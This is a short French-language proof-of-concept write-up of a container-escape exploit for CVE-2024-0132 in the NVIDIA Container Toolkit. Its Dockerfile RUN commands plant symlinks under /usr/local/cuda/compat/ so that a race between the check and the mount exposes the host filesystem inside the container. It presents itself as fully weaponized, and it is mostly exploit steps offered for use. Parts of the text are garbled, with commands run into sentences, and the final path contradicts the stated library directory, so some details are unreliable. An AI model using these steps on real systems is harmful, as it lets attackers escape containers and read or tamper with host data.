
CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit
CVE-2024-0132 PoC
Commençons par choisir une image de base. L'organisation des bibliothèques dans le système dépend de celle-ci. Par exemple, pour alpine, ce sera /usr/lib64/, pour ubuntu, ce sera /usr/lib/x86_64-linux-gnu. Nous utiliserons ubuntu comme image de base.
FROM ubuntu
Le nvidia container toolkit vérifie les bibliothèques dans /usr/local/cuda/compat/ à l'intérieur du conteneur, puis les monte dans le répertoire principal des bibliothèques. Pour cette image (ubuntu), ce serait /usr/lib/x86_64-linux-gnu.
Des liens sont également montés, vous pouvez donc monter n'importe quel fichier et répertoire de l'image vers /usr/lib/x86_64-linux-gnu. Le système vérifie que le lien est résolu à l'intérieur du conteneur, il ne peut pas utiliser plusieurs ../ pour un parcours de chemin. Cependant, cela peut être contourné en utilisant le montage dans le conteneur via /usr/local/cuda/compat/ deux fois, d'où le TOCTOU.
En savoir plus sur le mécanisme de montage depuis /usr/local/cuda/compat/ :
RUN mkdir -p /usr/local/cuda/compat/
Créez deux répertoires :
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
Le nom libdxcore.so est choisi pour satisfaire les filtres. La version majeure (1337) doit être différente de la version réelle du pilote.
Créez deux liens dans /usr/local/cuda/compat/ :
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ par /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs vers /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Lors de la vérification, ce sera un fichier normal, mais au moment du montage, ce sera un lien qui se trouvait dans /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, ainsi le système de fichiers hôte sera monté dans /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2